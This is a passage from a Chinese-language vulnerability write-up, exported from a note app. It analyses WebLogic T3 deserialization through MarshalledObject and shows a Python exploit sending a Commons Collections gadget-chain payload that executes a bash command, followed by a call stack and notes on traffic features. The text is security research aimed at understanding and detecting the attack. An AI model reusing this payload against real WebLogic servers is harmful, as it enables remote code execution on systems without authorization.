&#39;2e312e32353461863d1d0000000078&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yLin-1673886074165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uZrH-1673886074164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for d in [data1, data2, data3, data4]:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;345J-1673886074167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i7eL-1673886074166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.send(bytes.fromhex(d))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ANqP-1673886074169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fNh9-1673886074168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ptnL-1673886074171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WK4o-1673886074170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aYVo-1673886074173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QWux-1673886074172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # -------- 经MarshalledObject封装的反序列化利用链payload --------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9fAF-1673886074175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0vuD-1673886074174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6SkA-1673886074178&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8gYG-1673886074177&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Obss-1673886074180&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OAFC-1673886074179&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # ------------------------------------------------------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IJSH-1673886074182&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hcKB-1673886074181&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c3nj-1673886074184&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1dta-1673886074183&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;%s%s&#39; % (&#39;{:08x}&#39;.format(len(payload) // 2 + 4), payload)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8UEC-1673886074186&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;um0a-1673886074185&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(payload))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QwPy-1673886074188&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bWQH-1673886074187&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KHxA-1673886074190&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4URA-1673886074189&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wwF1-1673886074192&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5QcQ-1673886074191&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            res = sock.recv(4096)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2JSl-1673886074194&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J2kK-1673886074193&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            print(res)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BA7D-1673886074196&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMJj-1673886074195&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return b&#39;org.apache.commons.collections.functors.InvokerTransformer&#39; in res, {&#39;msg&#39;: &#39;finish.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hXET-1673886074198&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RUqt-1673886074197&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hc8B-1673886074200&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7xyy-1673886074199&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;luaE-1673886074202&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMPL-1673886074201&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XWzA-1673886074204&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5JE9-1673886074203&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;if __name__ == \&#34;__main__\&#34;:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NCtE-1673886074206&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T6sg-1673886074205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ip = \&#34;127.0.0.1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1fWs-1673886074208&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2szw-1673886074207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    port = 7001&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dzIx-1673886074210&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vX4e-1673886074209&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    light_up(dip=ip,dport=port)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;go&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AlVY-1673886900345&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5217/WEBRESOURCEad9893f1807a8bfe4e24f71ba84733c4&#34;,&#34;width&#34;:1492,&#34;height&#34;:216},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qay7-1673920222284&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lGMM-1673920222285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样跟一下代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zh9v-1673920755180&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FsOY-1673920755133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;diIT-1673920755132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readResolve:58, MarshalledObject (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dgik-1673920755135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EGAu-1673920755134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke0:-1, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;76t0-1673920755137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TKlU-1673920755136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:57, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0OUt-1673920755139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lxGq-1673920755138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FP1A-1673920755141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y9gk-1673920755140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:601, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sETw-1673920755143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YFod-1673920755142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invokeReadResolve:1091, ObjectStreamClass (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PqKH-1673920755145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GkXj-1673920755144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:1805, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j7VY-1673920755147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gVIc-1673920755146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1348, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7bgT-1673920755149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P55U-1673920755148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:370, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c9PD-1673920755151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cwLS-1673920755150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:66, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YEVR-1673920755153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RhK2-1673920755152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:38, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gDeV-1673920755155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7yAA-1673920755154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hqHG-1673920755157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IBie-1673920755156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;init:213, MsgAbbrevInputStream (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nMw2-1673920755159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KBAp-1673920755158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;neQ1-1673920755161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q8M7-1673920755160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gLL3-1673920755163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O8IF-1673920755162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uTlx-1673920755165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vd6r-1673920755164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocketOnce:967, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5kaG-1673920755167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xAz5-1673920755166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocket:899, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RdGP-1673920755169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S0fQ-1673920755168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;processSockets:130, PosixSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;atnR-1673920755171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;seiJ-1673920755170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:29, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Scj7-1673920755173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rqV3-1673920755172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:42, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Phes-1673920755175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HtN5-1673920755174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:145, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jtCP-1673920755177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dx7Y-1673920755176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:117, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ehtn-1673920755179&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R5sS-1673920755178&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BJ5D-1673920224798&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JKyI-1673920224797&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;一样通过InboundMsgAbbrev为入口进行数据的read操作，由readOrdinaryObject直接通过反射调用MarshalledObject.readResolve进行二次反序列化：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;It8n-1673921045949&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5227/WEBRESOURCE52413d95b1ec3902a87507998af82fb8&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ug37-1673921467121&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5238/WEBRESOURCE5167f9617801306c27a7de0cec56eba5&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HFjw-1673921480114&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5240/WEBRESOURCE1355df45d95fbb599f4afa5a1a223dcf&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;76Bz-1673921505120&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5242/WEBRESOURCEfa42c2239e3d3cb224b253ae2084fcba&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;763r-1673921505125&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTUk-1673921505123&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;流量特征上，出现的类变为&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.corba.utils.MarshalledObject&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 